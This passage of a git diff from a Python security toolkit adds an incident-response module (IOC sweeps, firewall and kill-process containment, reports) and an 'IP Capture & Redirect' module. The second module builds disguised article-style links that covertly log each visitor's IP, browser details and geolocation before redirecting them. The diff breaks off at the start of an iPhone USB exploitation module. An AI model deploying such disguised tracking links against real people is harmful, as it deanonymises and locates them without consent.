filepath.read_text(encoding='utf-8', errors='replace') + return {'filename': filename, 'content': content, 'size': len(content)} + except Exception as e: + return {'error': str(e)} + + # ── IOC Sweep ──────────────────────────────────────────────── + + def sweep_iocs(self, incident_id, iocs): + """Scan local system for indicators of compromise. + + iocs = { + 'ips': ['1.2.3.4', ...], + 'domains': ['evil.com', ...], + 'hashes': ['sha256:abcdef...', ...], + } + """ + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + matches = [] + ip_list = [ip.strip() for ip in iocs.get('ips', []) if ip.strip()] + domain_list = [d.strip() for d in iocs.get('domains', []) if d.strip()] + hash_list = [h.strip() for h in iocs.get('hashes', []) if h.strip()] + + # Check network connections against IP list + if ip_list: + if _is_win: + _, netout = self._run_cmd('netstat -an') + else: + _, netout = self._run_cmd('ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null') + + for ip in ip_list: + if ip in netout: + matches.append({ + 'type': 'ip', + 'ioc': ip, + 'found_in': 'active_connections', + 'severity': 'critical', + 'details': f'IP {ip} found in active network connections', + }) + + # Check running processes against hash list + if hash_list: + if _is_win: + _, proc_out = self._run_cmd('wmic process get ExecutablePath /format:csv') + proc_paths = [line.split(',')[-1].strip() for line in proc_out.splitlines() + if '\\' in line] + else: + _, proc_out = self._run_cmd("ls -1 /proc/*/exe 2>/dev/null | xargs readlink 2>/dev/null | sort -u") + proc_paths = [p.strip() for p in proc_out.splitlines() if p.strip()] + + for proc_path in proc_paths: + if not os.path.isfile(proc_path): + continue + try: + sha = hashlib.sha256(open(proc_path, 'rb').read()).hexdigest() + md5 = hashlib.md5(open(proc_path, 'rb').read()).hexdigest() + for h in hash_list: + hval = h.split(':')[-1] if ':' in h else h + if hval.lower() in (sha.lower(), md5.lower()): + matches.append({ + 'type': 'hash', + 'ioc': h, + 'found_in': proc_path, + 'severity': 'critical', + 'details': f'Hash match on running process: {proc_path}', + }) + except (PermissionError, OSError): + continue + + # Check DNS cache against domain list + if domain_list: + if _is_win: + _, dns_out = self._run_cmd('ipconfig /displaydns') + else: + _, dns_out = self._run_cmd( + 'cat /etc/hosts 2>/dev/null; ' + 'grep -r "query" /var/log/syslog 2>/dev/null | tail -200') + + for domain in domain_list: + if domain.lower() in dns_out.lower(): + matches.append({ + 'type': 'domain', + 'ioc': domain, + 'found_in': 'dns_cache', + 'severity': 'high', + 'details': f'Domain {domain} found in DNS cache/logs', + }) + + # Store sweep results as evidence + result = { + 'total_iocs': len(ip_list) + len(domain_list) + len(hash_list), + 'matches_found': len(matches), + 'matches': matches, + 'swept_at': self._now_iso(), + } + + self.add_evidence(incident_id, 'ioc_sweep_results', + json.dumps(result, indent=2), evidence_type='ioc_sweep') + + self.add_timeline_event(incident_id, self._now_iso(), + f'IOC sweep completed: {len(matches)} matches from {result["total_iocs"]} indicators', + 'sweep', json.dumps({'matches': len(matches)})) + + return result + + # ── Timeline ───────────────────────────────────────────────── + + def add_timeline_event(self, incident_id, timestamp, event, source, details=None): + """Add an event to the incident timeline.""" + timeline = self._load_timeline(incident_id) + entry = { + 'timestamp': timestamp, + 'event': event, + 'source': source, + 'details': details or '', + } + timeline.append(entry) + # Sort chronologically + timeline.sort(key=lambda e: e.get('timestamp', '')) + self._save_timeline(incident_id, timeline) + return entry + + def get_timeline(self, incident_id): + """Get the full chronological timeline for an incident.""" + return self._load_timeline(incident_id) + + def auto_build_timeline(self, incident_id): + """Automatically build timeline from collected evidence by parsing timestamps.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + evidence_files = self.list_evidence(incident_id) + events_added = 0 + edir = self._evidence_dir(incident_id) + + # Timestamp patterns + patterns = [ + # ISO 8601 + (r'(\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2})', '%Y-%m-%dT%H:%M:%S'), + # Syslog + (r'([A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})', None), + # Windows Event Log + (r'Date:\s+(\d{1,2}/\d{1,2}/\d{4}\s+\d{1,2}:\d{2}:\d{2}\s*[AP]M)', '%m/%d/%Y %I:%M:%S %p'), + ] + + for ef in evidence_files: + filepath = edir / ef['filename'] + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + except Exception: + continue + + lines = content.splitlines() + for line in lines[:500]: # limit to first 500 lines per file + for pattern, fmt in patterns: + match = re.search(pattern, line) + if match: + ts_str = match.group(1) + try: + if fmt: + ts_str = ts_str.replace('T', ' ') + dt = datetime.strptime(ts_str.strip(), fmt.replace('T', ' ')) + ts_iso = dt.isoformat() + else: + # Syslog format — use current year + year = datetime.now().year + dt = datetime.strptime(f'{year} {ts_str}', '%Y %b %d %H:%M:%S') + ts_iso = dt.isoformat() + except ValueError: + continue + + # Extract a useful event description from the line + event_text = line[match.end():].strip()[:200] + if event_text: + self.add_timeline_event( + incident_id, ts_iso, + event_text, + ef['filename'], + f'Auto-extracted from {ef["filename"]}') + events_added += 1 + break # only match first pattern per line + + if events_added >= 200: + break + if events_added >= 200: + break + + self.add_timeline_event(incident_id, self._now_iso(), + f'Auto-built timeline: {events_added} events extracted', + 'system', f'Parsed {len(evidence_files)} evidence files') + + return { + 'events_added': events_added, + 'evidence_parsed': len(evidence_files), + 'total_timeline_events': len(self._load_timeline(incident_id)), + } + + # ── Containment ────────────────────────────────────────────── + + def contain_host(self, incident_id, host, actions): + """Execute containment actions against a host/IP. + + actions: list of strings from ['block_ip', 'kill_process', 'disable_user', 'isolate_network'] + """ + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + results = [] + + for action in actions: + if action == 'block_ip': + if _is_win: + success, out = self._run_cmd( + f'netsh advfirewall firewall add rule name="AUTARCH-IR-Block-{host}" ' + f'dir=in action=block remoteip={host}') + else: + success, out = self._run_cmd(f'iptables -A INPUT -s {host} -j DROP') + results.append({ + 'action': 'block_ip', + 'target': host, + 'success': success, + 'output': out, + }) + + elif action == 'kill_process': + # host here is treated as PID or process name + if _is_win: + success, out = self._run_cmd(f'taskkill /F /PID {host} 2>nul || taskkill /F /IM {host} 2>nul') + else: + success, out = self._run_cmd(f'kill -9 {host} 2>/dev/null || pkill -9 {host} 2>/dev/null') + results.append({ + 'action': 'kill_process', + 'target': host, + 'success': success, + 'output': out, + }) + + elif action == 'disable_user': + if _is_win: + success, out = self._run_cmd(f'net user {host} /active:no') + else: + success, out = self._run_cmd(f'usermod -L {host} 2>/dev/null; passwd -l {host} 2>/dev/null') + results.append({ + 'action': 'disable_user', + 'target': host, + 'success': success, + 'output': out, + }) + + elif action == 'isolate_network': + if _is_win: + cmds = [ + f'netsh advfirewall firewall add rule name="AUTARCH-IR-Isolate-In" dir=in action=block remoteip=any', + f'netsh advfirewall firewall add rule name="AUTARCH-IR-Isolate-Out" dir=out action=block remoteip=any', + ] + else: + cmds = [ + 'iptables -P INPUT DROP', + 'iptables -P OUTPUT DROP', + 'iptables -P FORWARD DROP', + # Allow loopback + 'iptables -A INPUT -i lo -j ACCEPT', + 'iptables -A OUTPUT -o lo -j ACCEPT', + ] + all_ok = True + combined = [] + for cmd in cmds: + s, o = self._run_cmd(cmd) + combined.append(o) + if not s: + all_ok = False + results.append({ + 'action': 'isolate_network', + 'target': host, + 'success': all_ok, + 'output': '\n'.join(combined), + }) + + # Update incident status to contained + if incident['status'] in ('open', 'investigating'): + incident['status'] = 'contained' + incident['updated'] = self._now_iso() + self._save_incident(incident) + + # Log all actions + action_summary = ', '.join(f'{r["action"]}:{r["target"]}={"OK" if r["success"] else "FAIL"}' for r in results) + self.add_timeline_event(incident_id, self._now_iso(), + f'Containment actions executed', 'containment', + action_summary) + + # Store as evidence + self.add_evidence(incident_id, 'containment_actions', + json.dumps(results, indent=2), evidence_type='containment') + + return {'results': results, 'status': incident.get('status')} + + # ── Reporting ──────────────────────────────────────────────── + + def generate_report(self, incident_id): + """Generate a comprehensive post-incident report.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + timeline = self._load_timeline(incident_id) + evidence = self.list_evidence(incident_id) + playbook = IR_PLAYBOOKS.get(incident['type'], {}) + steps = playbook.get('steps', []) + progress = incident.get('playbook_progress', []) + + completed_steps = sum(1 for p in progress if p) + total_steps = len(steps) + + # Build report sections + report = { + 'title': f'Incident Report: {incident["name"]}', + 'incident_id': incident['id'], + 'generated_at': self._now_iso(), + 'executive_summary': { + 'incident_name': incident['name'], + 'incident_type': incident['type'], + 'severity': incident['severity'], + 'status': incident['status'], + 'created': incident['created'], + 'closed': incident.get('closed'), + 'duration': self._calc_duration(incident['created'], incident.get('closed')), + 'description': incident['description'], + }, + 'timeline': timeline, + 'timeline_summary': f'{len(timeline)} events recorded', + 'evidence_summary': { + 'total_evidence': len(evidence), + 'evidence_list': [{'name': e['name'], 'size': e['size'], + 'collected_at': e['collected_at']} for e in evidence], + }, + 'playbook_progress': { + 'playbook_name': playbook.get('name', 'N/A'), + 'completed_steps': completed_steps, + 'total_steps': total_steps, + 'completion_pct': int(completed_steps / total_steps * 100) if total_steps > 0 else 0, + 'steps': [], + }, + 'actions_taken': [], + 'resolution': incident.get('resolution_notes', ''), + 'recommendations': self._generate_recommendations(incident['type']), + 'lessons_learned': [], + } + + for i, step in enumerate(steps): + done = progress[i] if i < len(progress) else False + report['playbook_progress']['steps'].append({ + 'step': i + 1, + 'title': step['title'], + 'completed': done, + }) + + # Extract containment actions from timeline + for event in timeline: + if event.get('source') in ('containment', 'playbook'): + report['actions_taken'].append({ + 'timestamp': event['timestamp'], + 'action': event['event'], + 'details': event.get('details', ''), + }) + + return report + + def _calc_duration(self, start_str, end_str): + """Calculate human-readable duration between two ISO timestamps.""" + try: + start = datetime.fromisoformat(start_str.replace('Z', '+00:00')) + if end_str: + end = datetime.fromisoformat(end_str.replace('Z', '+00:00')) + else: + end = datetime.now(timezone.utc) + delta = end - start + hours = int(delta.total_seconds() // 3600) + minutes = int((delta.total_seconds() % 3600) // 60) + if hours > 24: + days = hours // 24 + hours = hours % 24 + return f'{days}d {hours}h {minutes}m' + return f'{hours}h {minutes}m' + except Exception: + return 'unknown' + + def _generate_recommendations(self, incident_type): + """Generate post-incident recommendations based on incident type.""" + recs = { + 'ransomware': [ + 'Implement network segmentation to limit lateral movement', + 'Deploy endpoint detection and response (EDR) on all systems', + 'Implement immutable backups with offline/offsite copies', + 'Enable application whitelisting on critical servers', + 'Conduct regular phishing awareness training', + 'Implement email attachment sandboxing', + ], + 'data_breach': [ + 'Deploy Data Loss Prevention (DLP) tools', + 'Implement database activity monitoring', + 'Enable multi-factor authentication on all accounts', + 'Encrypt sensitive data at rest and in transit', + 'Implement least-privilege access controls', + 'Conduct regular access reviews', + ], + 'insider_threat': [ + 'Implement user behavior analytics (UBA)', + 'Enable comprehensive audit logging', + 'Enforce separation of duties', + 'Implement DLP with content-aware policies', + 'Conduct regular access certification reviews', + 'Establish clear data handling policies', + ], + 'ddos': [ + 'Subscribe to a DDoS mitigation service', + 'Implement rate limiting at all network layers', + 'Deploy a web application firewall (WAF)', + 'Configure SYN flood protection on all servers', + 'Implement anycast DNS for resilience', + 'Create and test DDoS runbooks quarterly', + ], + 'account_compromise': [ + 'Enforce MFA on all user accounts', + 'Implement conditional access policies', + 'Deploy password manager for the organization', + 'Enable login anomaly detection', + 'Implement session timeout policies', + 'Conduct regular credential audits', + ], + 'malware': [ + 'Deploy next-gen antivirus with behavioral detection', + 'Implement application whitelisting', + 'Enable automatic OS and application patching', + 'Restrict macro execution in Office documents', + 'Implement email gateway scanning', + 'Deploy network-level malware detection', + ], + 'phishing': [ + 'Deploy advanced email gateway with AI detection', + 'Implement DMARC, DKIM, and SPF for email authentication', + 'Conduct regular phishing simulation exercises', + 'Enable browser isolation for email links', + 'Implement URL rewriting and time-of-click protection', + 'Establish easy phishing report button for users', + ], + 'unauthorized_access': [ + 'Implement zero-trust network architecture', + 'Deploy intrusion detection/prevention systems', + 'Enable comprehensive authentication logging', + 'Conduct regular vulnerability assessments', + 'Implement network access control (NAC)', + 'Deploy privileged access management (PAM)', + ], + } + return recs.get(incident_type, ['Review and update security controls']) + + def export_incident(self, incident_id, fmt='json'): + """Export the full incident package as JSON.""" + incident = self.get_incident(incident_id) + if 'error' in incident: + return incident + + # Include evidence content + edir = self._evidence_dir(incident_id) + evidence_data = [] + for ef in incident.get('evidence', []): + filepath = edir / ef['filename'] + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + except Exception: + content = '[Could not read file]' + evidence_data.append({ + 'filename': ef['filename'], + 'name': ef['name'], + 'size': ef['size'], + 'collected_at': ef['collected_at'], + 'content': content, + }) + + export = { + 'incident': incident, + 'evidence_data': evidence_data, + 'report': self.generate_report(incident_id), + 'exported_at': self._now_iso(), + } + return export + + +# ── Singleton ──────────────────────────────────────────────────── + +_instance = None + + +def get_incident_resp(): + """Get or create singleton IncidentResponse instance.""" + global _instance + if _instance is None: + _instance = IncidentResponse() + return _instance + + +# ── CLI Runner ─────────────────────────────────────────────────── + +def run(): + """CLI interface for incident response module.""" + ir = get_incident_resp() + + while True: + clear_screen() + display_banner() + print(f'\n{Colors.CYAN}{"=" * 50}') + print(f' INCIDENT RESPONSE') + print(f'{"=" * 50}{Colors.RESET}\n') + + incidents = ir.list_incidents() + open_count = sum(1 for i in incidents if i['status'] != 'closed') + print(f' Active incidents: {open_count}\n') + + print(f' {Colors.GREEN}1{Colors.RESET} Create Incident') + print(f' {Colors.GREEN}2{Colors.RESET} List Incidents') + print(f' {Colors.GREEN}3{Colors.RESET} View Incident') + print(f' {Colors.GREEN}4{Colors.RESET} Run Playbook') + print(f' {Colors.GREEN}5{Colors.RESET} Collect Evidence') + print(f' {Colors.GREEN}6{Colors.RESET} Sweep IOCs') + print(f' {Colors.GREEN}7{Colors.RESET} Generate Report') + print(f' {Colors.RED}0{Colors.RESET} Back\n') + + choice = input(f'{Colors.CYAN}>{Colors.RESET} ').strip() + + if choice == '0': + break + + elif choice == '1': + print(f'\n{Colors.CYAN}Create New Incident{Colors.RESET}') + name = input(' Name: ').strip() + if not name: + continue + print(f' Types: {", ".join(INCIDENT_TYPES)}') + itype = input(' Type: ').strip() + print(f' Severity: {", ".join(SEVERITY_LEVELS)}') + severity = input(' Severity: ').strip() + desc = input(' Description: ').strip() + result = ir.create_incident(name, itype, severity, desc) + if 'error' in result: + print(f'\n {Colors.RED}Error: {result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.GREEN}Created incident: {result["id"]}{Colors.RESET}') + input('\n Press Enter...') + + elif choice == '2': + print(f'\n{Colors.CYAN}Incidents{Colors.RESET}\n') + for inc in incidents: + sev_color = { + 'critical': Colors.RED, 'high': Colors.YELLOW, + 'medium': Colors.CYAN, 'low': Colors.GREEN, + }.get(inc['severity'], Colors.WHITE) + print(f' {inc["id"]} | {inc["name"][:30]:30s} | ' + f'{sev_color}{inc["severity"]:8s}{Colors.RESET} | ' + f'{inc["status"]:12s} | {inc["type"]}') + if not incidents: + print(' No incidents found.') + input('\n Press Enter...') + + elif choice == '3': + iid = input('\n Incident ID: ').strip() + inc = ir.get_incident(iid) + if 'error' in inc: + print(f'\n {Colors.RED}{inc["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.BOLD}{inc["name"]}{Colors.RESET}') + print(f' Type: {inc["type"]} | Severity: {inc["severity"]} | Status: {inc["status"]}') + print(f' Created: {inc["created"]}') + print(f' Description: {inc.get("description", "")}') + print(f'\n Timeline events: {len(inc.get("timeline", []))}') + print(f' Evidence items: {len(inc.get("evidence", []))}') + progress = inc.get('playbook_progress', []) + done = sum(1 for p in progress if p) + print(f' Playbook progress: {done}/{len(progress)} steps') + input('\n Press Enter...') + + elif choice == '4': + iid = input('\n Incident ID: ').strip() + inc = ir.get_incident(iid) + if 'error' in inc: + print(f'\n {Colors.RED}{inc["error"]}{Colors.RESET}') + input('\n Press Enter...') + continue + pb = ir.get_playbook(inc['type']) + if 'error' in pb: + print(f'\n {Colors.RED}{pb["error"]}{Colors.RESET}') + input('\n Press Enter...') + continue + print(f'\n {Colors.CYAN}Playbook: {pb["name"]}{Colors.RESET}\n') + progress = inc.get('playbook_progress', []) + for i, step in enumerate(pb['steps']): + done = progress[i] if i < len(progress) else False + mark = f'{Colors.GREEN}[X]{Colors.RESET}' if done else f'{Colors.RED}[ ]{Colors.RESET}' + auto_tag = f' {Colors.YELLOW}[AUTO]{Colors.RESET}' if step.get('automated') else '' + print(f' {mark} {i}: {step["title"]}{auto_tag}') + step_idx = input('\n Step # to run (or Enter to skip): ').strip() + if step_idx.isdigit(): + auto = input(' Auto-execute commands? (y/n): ').strip().lower() == 'y' + result = ir.run_playbook_step(iid, int(step_idx), auto=auto) + if 'error' in result: + print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.GREEN}Step completed: {result["title"]}{Colors.RESET}') + if result.get('output'): + print(f'\n{result["output"][:500]}') + input('\n Press Enter...') + + elif choice == '5': + iid = input('\n Incident ID: ').strip() + print(f'\n Evidence types: {", ".join(EVIDENCE_TYPES)}') + etype = input(' Type: ').strip() + result = ir.collect_evidence(iid, etype) + if 'error' in result: + print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.GREEN}Collected: {result["name"]} ({result["size"]} bytes){Colors.RESET}') + if result.get('preview'): + print(f'\n Preview:\n{result["preview"][:300]}') + input('\n Press Enter...') + + elif choice == '6': + iid = input('\n Incident ID: ').strip() + print('\n Enter IOCs (comma-separated):') + ips = input(' IPs: ').strip() + domains = input(' Domains: ').strip() + hashes = input(' Hashes: ').strip() + iocs = { + 'ips': [x.strip() for x in ips.split(',') if x.strip()], + 'domains': [x.strip() for x in domains.split(',') if x.strip()], + 'hashes': [x.strip() for x in hashes.split(',') if x.strip()], + } + result = ir.sweep_iocs(iid, iocs) + if 'error' in result: + print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.CYAN}Swept {result["total_iocs"]} IOCs, ' + f'found {result["matches_found"]} matches{Colors.RESET}') + for m in result.get('matches', []): + sev_color = Colors.RED if m['severity'] == 'critical' else Colors.YELLOW + print(f' {sev_color}[{m["severity"].upper()}]{Colors.RESET} ' + f'{m["type"]}: {m["ioc"]} in {m["found_in"]}') + input('\n Press Enter...') + + elif choice == '7': + iid = input('\n Incident ID: ').strip() + report = ir.generate_report(iid) + if 'error' in report: + print(f'\n {Colors.RED}{report["error"]}{Colors.RESET}') + else: + es = report['executive_summary'] + print(f'\n {Colors.BOLD}{report["title"]}{Colors.RESET}') + print(f' Type: {es["incident_type"]} | Severity: {es["severity"]}') + print(f' Status: {es["status"]} | Duration: {es["duration"]}') + print(f' Timeline: {report["timeline_summary"]}') + pp = report['playbook_progress'] + print(f' Playbook: {pp["completed_steps"]}/{pp["total_steps"]} steps ({pp["completion_pct"]}%)') + print(f' Evidence: {report["evidence_summary"]["total_evidence"]} items') + print(f' Actions taken: {len(report["actions_taken"])}') + print(f'\n {Colors.CYAN}Recommendations:{Colors.RESET}') + for r in report.get('recommendations', []): + print(f' - {r}') + input('\n Press Enter...') diff --git a/modules/ipcapture.py b/modules/ipcapture.py new file mode 100644 index 0000000..86acbd8 --- /dev/null +++ b/modules/ipcapture.py @@ -0,0 +1,427 @@ +"""IP Capture & Redirect — stealthy link tracking for OSINT. + +Create disguised links that capture visitor IP + metadata, +then redirect to a legitimate target URL. Fast 302 redirect, +realistic URL paths, no suspicious indicators. +""" + +DESCRIPTION = "IP Capture & Redirect — stealthy link tracking" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "osint" + +import os +import json +import time +import random +import string +import hashlib +import threading +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Realistic URL path generation ──────────────────────────────────────────── + +_WORD_POOL = [ + 'tech', 'news', 'science', 'world', 'business', 'health', 'politics', + 'sports', 'culture', 'opinion', 'breaking', 'latest', 'update', 'report', + 'analysis', 'insight', 'review', 'guide', 'how-to', 'explained', + 'ai', 'climate', 'economy', 'security', 'research', 'innovation', + 'digital', 'global', 'local', 'industry', 'future', 'trends', + 'development', 'infrastructure', 'community', 'education', 'policy', +] + +_TITLE_PATTERNS = [ + '{adj}-{noun}-{verb}-{year}-{noun2}', + '{noun}-{adj}-{noun2}-{verb}', + 'new-{noun}-{verb}-{adj}-{noun2}', + '{noun}-report-{year}-{adj}-{noun2}', + 'how-{noun}-is-{verb}-the-{noun2}', + '{adj}-{noun}-breakthrough-{noun2}', +] + +_ADJECTIVES = [ + 'major', 'new', 'latest', 'critical', 'emerging', 'global', + 'innovative', 'surprising', 'important', 'unprecedented', +] + +_NOUNS = [ + 'technology', 'researchers', 'companies', 'governments', 'scientists', + 'industry', 'market', 'community', 'experts', 'development', +] + +_VERBS = [ + 'changing', 'transforming', 'disrupting', 'advancing', 'impacting', + 'reshaping', 'driving', 'revealing', 'challenging', 'accelerating', +] + + +def _generate_article_path() -> str: + """Generate a realistic-looking article URL path.""" + now = datetime.now() + year = now.strftime('%Y') + month = now.strftime('%m') + + pattern = random.choice(_TITLE_PATTERNS) + slug = pattern.format( + adj=random.choice(_ADJECTIVES), + noun=random.choice(_NOUNS), + noun2=random.choice(_NOUNS), + verb=random.choice(_VERBS), + year=year, + ) + + # Article-style path + styles = [ + f'/article/{year}/{month}/{slug}', + f'/news/{year}/{slug}', + f'/stories/{slug}-{random.randint(1000, 9999)}', + f'/p/{slug}', + f'/read/{hashlib.md5(slug.encode()).hexdigest()[:8]}', + ] + return random.choice(styles) + + +def _generate_short_key(length: int = 8) -> str: + """Generate a short random key.""" + chars = string.ascii_lowercase + string.digits + return ''.join(random.choices(chars, k=length)) + + +# ── IP Capture Service ─────────────────────────────────────────────────────── + +class IPCaptureService: + """Manage capture links and record visitor metadata.""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'osint_captures.json') + self._links = {} + self._lock = threading.Lock() + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._links = json.load(f) + except Exception: + self._links = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._links, f, indent=2) + + def create_link(self, target_url: str, name: str = '', + disguise: str = 'article') -> dict: + """Create a new capture link. + + Args: + target_url: The legitimate URL to redirect to after capture. + name: Friendly name for this link. + disguise: URL style — 'short', 'article', or 'custom'. + + Returns: + Dict with key, paths, and full URLs. + """ + key = _generate_short_key() + + if disguise == 'article': + article_path = _generate_article_path() + elif disguise == 'short': + article_path = f'/c/{key}' + else: + article_path = f'/c/{key}' + + with self._lock: + self._links[key] = { + 'key': key, + 'name': name or f'Link {key}', + 'target_url': target_url, + 'disguise': disguise, + 'article_path': article_path, + 'short_path': f'/c/{key}', + 'created': datetime.now().isoformat(), + 'captures': [], + 'active': True, + } + self._save() + + return { + 'ok': True, + 'key': key, + 'short_path': f'/c/{key}', + 'article_path': article_path, + 'target_url': target_url, + } + + def get_link(self, key: str) -> Optional[dict]: + return self._links.get(key) + + def list_links(self) -> List[dict]: + return list(self._links.values()) + + def delete_link(self, key: str) -> bool: + with self._lock: + if key in self._links: + del self._links[key] + self._save() + return True + return False + + def find_by_path(self, path: str) -> Optional[dict]: + """Find a link by its article path.""" + for link in self._links.values(): + if link.get('article_path') == path: + return link + return None + + def record_capture(self, key: str, ip: str, user_agent: str = '', + accept_language: str = '', referer: str = '', + headers: dict = None) -> bool: + """Record a visitor capture.""" + with self._lock: + link = self._links.get(key) + if not link or not link.get('active'): + return False + + capture = { + 'ip': ip, + 'timestamp': datetime.now().isoformat(), + 'user_agent': user_agent, + 'accept_language': accept_language, + 'referer': referer, + } + + # Extract extra metadata from headers + if headers: + for h in ['X-Forwarded-For', 'CF-Connecting-IP', 'X-Real-IP']: + val = headers.get(h, '') + if val: + capture[f'header_{h.lower().replace("-","_")}'] = val + # Connection hints + for h in ['Sec-CH-UA', 'Sec-CH-UA-Platform', 'Sec-CH-UA-Mobile', + 'DNT', 'Upgrade-Insecure-Requests']: + val = headers.get(h, '') + if val: + capture[f'hint_{h.lower().replace("-","_")}'] = val + + # GeoIP lookup (best-effort) + try: + geo = self._geoip_lookup(ip) + if geo: + capture['geo'] = geo + except Exception: + pass + + link['captures'].append(capture) + self._save() + return True + + def _geoip_lookup(self, ip: str) -> Optional[dict]: + """Best-effort GeoIP lookup using the existing geoip module.""" + try: + from modules.geoip import GeoIPLookup + geo = GeoIPLookup() + result = geo.lookup(ip) + if result and result.get('success'): + return { + 'country': result.get('country', ''), + 'region': result.get('region', ''), + 'city': result.get('city', ''), + 'isp': result.get('isp', ''), + 'lat': result.get('latitude', ''), + 'lon': result.get('longitude', ''), + } + except Exception: + pass + return None + + def get_captures(self, key: str) -> List[dict]: + link = self._links.get(key) + return link.get('captures', []) if link else [] + + def get_stats(self, key: str) -> dict: + link = self._links.get(key) + if not link: + return {} + captures = link.get('captures', []) + unique_ips = set(c['ip'] for c in captures) + return { + 'total': len(captures), + 'unique_ips': len(unique_ips), + 'first': captures[0]['timestamp'] if captures else None, + 'last': captures[-1]['timestamp'] if captures else None, + } + + def export_captures(self, key: str, fmt: str = 'json') -> str: + """Export captures to JSON or CSV string.""" + captures = self.get_captures(key) + if fmt == 'csv': + if not captures: + return 'ip,timestamp,user_agent,country,city\n' + lines = ['ip,timestamp,user_agent,country,city'] + for c in captures: + geo = c.get('geo', {}) + lines.append(','.join([ + c.get('ip', ''), + c.get('timestamp', ''), + f'"{c.get("user_agent", "")}"', + geo.get('country', ''), + geo.get('city', ''), + ])) + return '\n'.join(lines) + return json.dumps(captures, indent=2) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_ip_capture() -> IPCaptureService: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = IPCaptureService() + return _instance + + +# ── Interactive CLI ────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for IP Capture & Redirect.""" + service = get_ip_capture() + + while True: + print("\n" + "=" * 60) + print(" IP CAPTURE & REDIRECT") + print(" Stealthy link tracking for OSINT") + print("=" * 60) + links = service.list_links() + active = sum(1 for l in links if l.get('active')) + total_captures = sum(len(l.get('captures', [])) for l in links) + print(f" Active links: {active} | Total captures: {total_captures}") + print() + print(" 1 — Create Capture Link") + print(" 2 — List Active Links") + print(" 3 — View Captures") + print(" 4 — Delete Link") + print(" 5 — Export Captures") + print(" 0 — Back") + print() + + choice = input(" Select: ").strip() + + if choice == '0': + break + elif choice == '1': + _cli_create(service) + elif choice == '2': + _cli_list(service) + elif choice == '3': + _cli_view(service) + elif choice == '4': + _cli_delete(service) + elif choice == '5': + _cli_export(service) + + +def _cli_create(service: IPCaptureService): + """Create a new capture link.""" + print("\n--- Create Capture Link ---") + target = input(" Target URL (redirect destination): ").strip() + if not target: + print(" [!] URL required") + return + if not target.startswith(('http://', 'https://')): + target = 'https://' + target + + name = input(" Friendly name []: ").strip() + print(" Disguise type:") + print(" 1 — Article URL (realistic path)") + print(" 2 — Short URL (/c/xxxxx)") + dtype = input(" Select [1]: ").strip() or '1' + disguise = 'article' if dtype == '1' else 'short' + + result = service.create_link(target, name, disguise) + if result['ok']: + print(f"\n [+] Link created!") + print(f" Key: {result['key']}") + print(f" Short URL: {result['short_path']}") + print(f" Article URL: {result['article_path']}") + print(f" Redirects to: {result['target_url']}") + else: + print(f" [-] {result.get('error', 'Failed')}") + + +def _cli_list(service: IPCaptureService): + """List all active links.""" + links = service.list_links() + if not links: + print("\n No capture links") + return + print(f"\n--- Active Links ({len(links)}) ---") + for l in links: + stats = service.get_stats(l['key']) + active = "ACTIVE" if l.get('active') else "DISABLED" + print(f"\n [{l['key']}] {l.get('name', 'Unnamed')} — {active}") + print(f" Target: {l['target_url']}") + print(f" Short: {l['short_path']}") + print(f" Article: {l.get('article_path', 'N/A')}") + print(f" Captures: {stats.get('total', 0)} ({stats.get('unique_ips', 0)} unique)") + if stats.get('last'): + print(f" Last hit: {stats['last']}") + + +def _cli_view(service: IPCaptureService): + """View captures for a link.""" + key = input(" Link key: ").strip() + captures = service.get_captures(key) + if not captures: + print(" No captures for this link") + return + print(f"\n--- Captures ({len(captures)}) ---") + for c in captures: + geo = c.get('geo', {}) + location = f"{geo.get('city', '?')}, {geo.get('country', '?')}" if geo else 'Unknown' + print(f" {c['timestamp']} {c['ip']:>15} {location}") + if c.get('user_agent'): + ua = c['user_agent'][:80] + ('...' if len(c.get('user_agent', '')) > 80 else '') + print(f" UA: {ua}") + + +def _cli_delete(service: IPCaptureService): + """Delete a link.""" + key = input(" Link key to delete: ").strip() + if service.delete_link(key): + print(" [+] Link deleted") + else: + print(" [-] Link not found") + + +def _cli_export(service: IPCaptureService): + """Export captures.""" + key = input(" Link key: ").strip() + fmt = input(" Format (json/csv) [json]: ").strip() or 'json' + data = service.export_captures(key, fmt) + print(f"\n{data}") + + save = input("\n Save to file? [y/N]: ").strip().lower() + if save == 'y': + ext = 'csv' if fmt == 'csv' else 'json' + filepath = os.path.join(get_data_dir(), 'exports', f'captures_{key}.{ext}') + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, 'w') as f: + f.write(data) + print(f" [+] Saved to {filepath}") diff --git a/modules/iphone_local.py b/modules/iphone_local.py new file mode 100644 index 0000000..6c90414 --- /dev/null +++ b/modules/iphone_local.py @@ -0,0 +1,402 @@ +""" +iPhone Local USB - Device access via libimobiledevice +""" + +DESCRIPTION = "iPhone USB exploitation (info, backup, extract, apps, profiles)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + +import sys +from pathlib import 